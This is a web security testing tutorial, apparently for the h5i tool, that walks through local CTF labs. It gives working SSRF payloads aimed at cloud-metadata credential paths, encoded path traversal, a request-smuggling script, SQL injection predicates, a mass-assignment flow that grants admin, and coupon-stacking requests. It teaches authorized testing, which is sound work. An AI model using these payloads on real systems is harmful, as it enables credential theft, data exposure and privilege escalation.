Guide 03 / Advanced testing · 2026-10-21

Advanced Web Security Testing

When changing one parameter is not enough, trace the boundary the request crosses and the state each later request depends on.

Outcome. Turn a suspicious response into a bounded hypothesis about a trust boundary, then keep the requests needed to reproduce or reject it.

Run the exercises in the linked local CTF labs or against systems you are explicitly authorized to test. Advanced techniques can reach internal services, alter shared caches, or send many requests. Choose targets and budgets deliberately.

To run the recipes below, start from the local websec CTF. Each numbered lab is a deliberately vulnerable application; start the named lab and open the URL shown before replaying its captured req_0. Install the websec plugin if h5i websec --help says it is unavailable.

git clone https://github.com/h5i-dev/h5i-tutorial.git
cd h5i-tutorial/websec
h5i plugin install websec
h5i websec --help
BoundaryQuestionEvidence to keep
Server fetch or fileWhere did the input make the server connect or read?Baseline, destination, refusal, or file effect
HTTP protocolDid peers parse the same bytes differently?Raw request and each observed response
Multi-request stateWhich earlier value made the later request succeed?Actors, cookies, extracted values, and sequence

1. Trace server-side fetches and files

For SSRF, the question is whether attacker-controlled input makes the server request a destination outside its intended authority. Inspect where the URL came from, how redirects are followed, and whether the response or an out-of-band effect reveals the fetch. Path traversal, uploads, and local file inclusion cross a similar boundary from a web input into the server's filesystem.

In lab 25, open the link-preview route to capture the baseline, then change only the URL the server fetches. The second destination is reachable from that lab server; your browser session remains scoped to loopback. Inspect the response ID printed by replay and compare it with the baseline:

./run.sh 25
h5i browser open 'http://127.0.0.1:9250/api/preview?url=http://127.0.0.1:9251/' --session lab25 --new --allow 127.0.0.1
h5i websec replay req_0 --session lab25 --set query.url=http://127.0.0.1:9251/latest/meta-data/iam/security-credentials/
h5i websec show res_1 --session lab25 --raw

Try alternate address spellings only inside the local lab or an authorized scope. A failed fetch may mean a filter worked, a destination was unreachable, or the session policy refused the experiment; those are different outcomes. If the response yields a path, test only the path needed to confirm the hypothesis.

For path traversal, first show what ordinary replay sends, then preserve the encoded request target byte for byte. Lab 27 strips a plain ../ before another layer decodes the value:

./run.sh 27
h5i browser open 'http://127.0.0.1:9270/download?file=welcome.md' --session lab27 --new
h5i websec replay req_0 --session lab27 --set 'query.file=%252e%252e%252fsecret%252fflag.txt'
h5i websec replay req_0 --session lab27 --raw-target '/download?file=%252e%252e%252fsecret%252fflag.txt'

Compare the two sent requests and responses. The difference tells you whether client normalization changed the payload before it reached the app. For uploads and local file inclusion, verify the final opened or written path rather than inferring it from a successful HTTP status.

2. Inspect request framing and shared state

Request smuggling asks whether two HTTP peers disagree on where one request ends. In lab 30, the edge trusts Content-Length while the backend honors chunked encoding. Start and capture the local target, write the request file, then replay its exact bytes:

./run.sh 30
h5i browser open 'http://127.0.0.1:9300/' --session lab30 --new
# Lab 30: write the exact HTTP/1 bytes before replaying them.
python3 - <<'PY'
from pathlib import Path

host = "127.0.0.1:9300"
body = f"0\r\n\r\nGET /admin/flag HTTP/1.1\r\nHost: {host}\r\n\r\n".encode()
head = (f"POST / HTTP/1.1\r\nHost: {host}\r\n"
        f"Content-Type: text/plain\r\nContent-Length: {len(body)}\r\n"
        f"Transfer-Encoding: chunked\r\n\r\n").encode()
Path("desync.http").write_bytes(head + body)
PY
h5i websec replay req_0 --session lab30 --raw-request ./desync.http
# Use the response ID printed by replay; inspect every response in the raw record.
h5i websec show res_1 --session lab30 --raw

--raw-request matters because an ordinary HTTP client would rewrite the framing headers and erase the experiment. CRLF injection and host-header poisoning instead ask whether an input becomes a header or an absolute URL. Cache poisoning asks whether a shared cache omits that influence from its key. Use a control request and a second client view before calling any of these a finding. Do not infer smuggling or cache impact from one anomalous status.

For a header or cache hypothesis, change one header on a captured control request and compare the resulting responses:

h5i websec replay req_0 --session lab33 --set header.X-Forwarded-Host=example.test
h5i websec diff res_0 res_1 --session lab33
h5i websec show req_1 --session lab33 --raw

Run ./run.sh 33 and open http://127.0.0.1:9330/ as lab33 first. A reflection in one response is only a lead; determine whether a second client receives the changed cached response. Repeat within the permitted rate and record which component produced each answer.

3. Carry values across requests

An exploit chain often needs a value learned from one response in a later request: a token, object ID, redirect target, or freshly created resource. Write down the actor and state at each step. A result from a single replay may disappear when cookies, timing, or application state change. Use a sequence or a versioned h5i test flow when reproducibility matters.

In lab 41, an update needs a fresh CSRF token. Create flow.json with login, token extraction, and form submission. The third step sends an extra role field that the form never offered:

{
  "steps": [
    {"name": "log in", "resend": 0, "create": true,
     "set": ["method=POST", "path=/api/login",
             "header.Content-Type=application/json",
             "json.user=${user}", "json.password=${password}"]},
    {"name": "get a fresh token", "resend": 0, "create": true,
     "set": ["method=GET", "path=/account/settings"],
     "extract": {"csrf": "regex:name=\"csrf\" value=\"([^\"]+)\""}},
    {"name": "submit a field the form did not offer", "resend": 0, "create": true,
     "set": ["method=POST", "path=/account/settings",
             "header.Content-Type=application/x-www-form-urlencoded",
             "form.display_name=Guest", "form.csrf=${csrf}",
             "form.role=admin"]},
    {"name": "check the new role", "resend": 0, "create": true,
     "set": ["method=GET", "path=/admin/flag"]}
  ]
}
./run.sh 41
h5i browser open 'http://127.0.0.1:9410/' --session lab41 --new
h5i websec sequence flow.json --session lab41 --var user=guest --var password=guest

The sequence satisfies CSRF and tests field authorization. Check the step outputs and then read the resulting account state; a successful POST alone is insufficient. Record each actor, cookie jar, extracted value, and changed field. Turn a confirmed chain into a versioned h5i test flow rather than relying on a one-off shell history.

4. Check interpreter and workflow boundaries

SQL, NoSQL, shell, templates, and XML parsers have different syntax, but the same review question: did untrusted data become an instruction for another interpreter? Use a harmless local control to establish the parser and the exact sink before testing a stronger hypothesis. Error-based, boolean, and timing observations need different controls; timing especially needs repeated measurements and a stable baseline.

In lab 12, capture a normal product search and send one quote. Then compare true and false predicates with the same prefix; a syntax error alone does not establish control of the query's logic:

./run.sh 12
h5i browser open 'http://127.0.0.1:9120/api/products?q=compass' --session lab12 --new
h5i websec replay req_0 --session lab12 --set "query.q=compass'"
h5i websec replay req_0 --session lab12 --set "query.q=compass%' AND '1'='1' -- "
h5i websec replay req_0 --session lab12 --set "query.q=compass%' AND '1'='2' -- "

Business-logic bugs cross a state boundary instead of a parser boundary. Race a check-then-act operation only within an agreed request budget; test whether individually valid coupons compound beyond the intended limit; check whether a second authentication step can be skipped by replaying a later request. Predictable recovery tokens and unsafe signed deserialization are separate mechanisms. For each, state the expected invariant, the sequence that may violate it, and the server-side state that would establish impact.

For a state example, lab 36 accepts a list of coupons. Compare one valid coupon with a duplicate list and then inspect the resulting checkout total:

./run.sh 36
h5i browser open 'http://127.0.0.1:9360/' --session lab36 --new
h5i websec replay req_0 --session lab36 --create --set method=POST --set path=/api/checkout --set header.Content-Type=application/json --set json.item=enterprise-license --set 'json.coupons=["FRIEND25"]'
h5i websec replay req_0 --session lab36 --create --set method=POST --set path=/api/checkout --set header.Content-Type=application/json --set json.item=enterprise-license --set 'json.coupons=["FRIEND25","FRIEND25"]'

5. Separate evidence from impact

Keep the baseline, each changed request, the response or side effect, and the rule you believe was crossed. A response difference is a lead, not an automatic vulnerability verdict. If bytes are the experiment, inspect the sent request; if state is the experiment, preserve the whole sequence and its actors:

h5i websec requests --session lab41
h5i websec show req_1 --session lab41 --raw
h5i websec show res_1 --session lab41 --raw
h5i browser audit --session lab41

Use the IDs actually printed by your run. The manual defines exact edit and replay options. When a result is confirmed, encode the smallest repeatable flow as a regression test.

Next guide

Security Regression Testing

Turn a confirmed finding into a durable CI verdict.

Make each experiment reviewable

Keep the request bytes, actors, and state transitions that support the finding.